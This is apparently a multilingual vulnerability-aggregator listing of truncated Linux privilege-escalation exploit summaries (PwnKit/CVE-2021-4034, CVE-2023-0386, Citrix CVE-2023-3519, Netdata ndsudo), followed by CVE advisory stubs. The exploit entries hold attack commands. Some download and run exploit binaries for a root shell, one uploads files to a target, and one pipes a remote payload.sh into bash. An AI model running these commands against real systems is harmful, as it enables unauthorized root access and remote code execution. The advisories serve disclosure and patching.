CVE-2021-30357_CheckPoint_SNX_VPN_PoC

CVE-2021-30357CheckPointSNXVPNPoC CheckPoint SNX VPN Linux Client を介した特権ファイル読み取りの概念実証 PoC。 影響を受けるバージョン CheckPointVPNSNXLinux800007075.sh MD5 チェックサム: 4372e9936e2dfb1d1ebcef3ed4dd7787 エクスプロイト 悪用するには、-f パラメータを使用して任意のファイルを SNX 設定として読み込むだけです。ファイルが有効な SNX 設定でない場合、エラーがスローされ構文エラーが表示され、文字列終端文字が見つかるまで 例:...

PwnKit-CVE-2021-4034

PwnKit CVE-2021-4034 の PoC - Pkexec ローカル権限昇格 エクスプロイト 手動 root@kitploit: curl -fsSL https://raw.githubusercontent.com/jayhutajulu1/PwnKit-CVE-2021-4034/main/PwnKit -o PwnKit chmod +x ./PwnKit ./PwnKit interactive shell ./PwnKit 'id' single command パッチ適用済み パッチ適用済みのバージョンに対してエクスプロイトを実行すると、以下の出力が得られます。...

CVE-2023-0386

typora-copy-images-to: ./image CVE-2023-0386 Uso del exploit: Primero : Subir fuse.c y exp.sh al directorio /tmp. Puedes usar scp o python3 -m http.server para subir el archivo al objetivo. root@kitploit: scp /Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp scp...

CVE-2023-3460_FIX

CVE-20233460 このラボは学習と権限昇格を目的として構築されました。権限昇格のスキルを実践するには、以下のリンクを参照してください。 https://viblo.asia/p/leo-thang-dac-quyen-trong-linux-linux-privilege-escalation-1-using-suid-bit-QpmlexgrZrd...

CVE-2021-4034

CVE-2021-4034 polkit privilege escalation exploit Just execute make, ./cve-2021-4034 and enjoy your root shell. The original advisory by my Qualys team here PoC If the exploit is working you'll get a root shell immediately: root@kitploit: kali@user:/CVE-2021-4034$ make cc -Wall --shared -fPIC -o...

CVE-2021-4034

CVE-2021-4034 2022年1月25日 | An00bRektn 这是基于（读作：明目张胆地抄袭自）clubby789's 对由 Qualys 发现的漏洞的实现的 CVE-2021-4034 的 golang 实现。 我写了一篇博客文章，更详细地介绍了这个漏洞，主要是为了我自己，但也适合任何想要更详细解释的人，你可以在这里找到。 缓解措施 Canonical 已经在 APT 包管理器中发布了修补版本，因此所有未达到 EOL 且保持最新（sudo apt update && sudo apt upgrade）的 Ubuntu...

CVE-2023-3519

Citrix ADC RCE CVE-2023-3519 このエクスプロイトは、Citrix VPX 13.1-48.47 向けのアドレスとシェルコードを使用しています。詳細な解説はこちらをクリックしてください。 使用方法 シェルコードをビルドするには NASM が必要です。 root@kitploit: $ sudo apt install nasm 含まれているシェルコードは、リモートの https サーバーからシェルスクリプトをダウンロードして実行します。このスクリプトは3つの引数を取ります: ターゲットホスト、ターゲットポート、およびシェルスクリプトペイロードの URL...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo PoC バイナリをビルド: root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme bashスクリプトを実行: root@kitploit: bash exploit.sh ターゲットマシンで書き込み可能なディレクトリで実行: root@kitploit: curl http://:8000/payload.sh | bash...

CVE-2026-71309 vulnerabilities

Vulnerabilities for packages: rclone-fips, telegraf...

Unity Linux 20.1050e / 20.1060e / 20.1070e Security Update: kernel (UTSA-2026-007523)

The Unity Linux 20 host has a package installed that is affected by a vulnerability as referenced in the UTSA-2026-007523 advisory. In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is...

PT-2026-30240

Name of the Vulnerable Software and Affected Versions util-linux versions prior to 2.41.4 Description A Time-of-Check-Time-of-Use TOCTOU vulnerability exists in the SUID binary /usr/bin/mount within util-linux. When setting up loop devices, the binary validates a file path with user privileges bu...

CVE-2024-34477

configureNFS in lib/common/functions.sh in FOG through 1.5.10 allows local users to gain privileges by mounting a crafted NFS share because of norootsquash and insecure. In order to exploit the vulnerability, someone needs to mount an NFS share in order to add an executable file as root. In...

CVE-2025-12424

Azure Access Technology BLU-IC2 and BLU-IC4 are vulnerable to privilege escalation due to improper privilege management in a SUID-bit binary. Affected products/versions: BLU-IC2 and BLU-IC4 up to 1.19.5. Root cause: SUID-binary enables elevation of privileges. Impact: described as Privilege Escal...

EUVD-2021-2286

Malware in sbrugna...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2021-3978

When copying files with rsync, octorpki uses the "-a" flag 0, which forces rsync to copy binaries with the suid bit set as root. Since the provided service definition defaults to root https://github.com/cloudflare/cfrpki/blob/master/package/octorpki.service this could allow for a vector, when...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

SUSE CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

CVE-2024-36964

In the Linux kernel, the following vulnerability has been resolved: fs/9p: only translate RWX permissions for plain 9P2000 Garbage in plain 9P2000's perm bits is allowed through, which causes it to be able to set among others the suid bit. This was presumably not the intent since the unix extende...

Privilege Escalation

github.com/projectcalico/calico/ is vulnerable to Privilege Escalation. The vulnerability is due to an incorrect SUID bit configuration in the Calico CNI install binary, combined with the ability to control the input binary, allows an attacker to execute an arbitrary binary with elevated privileg...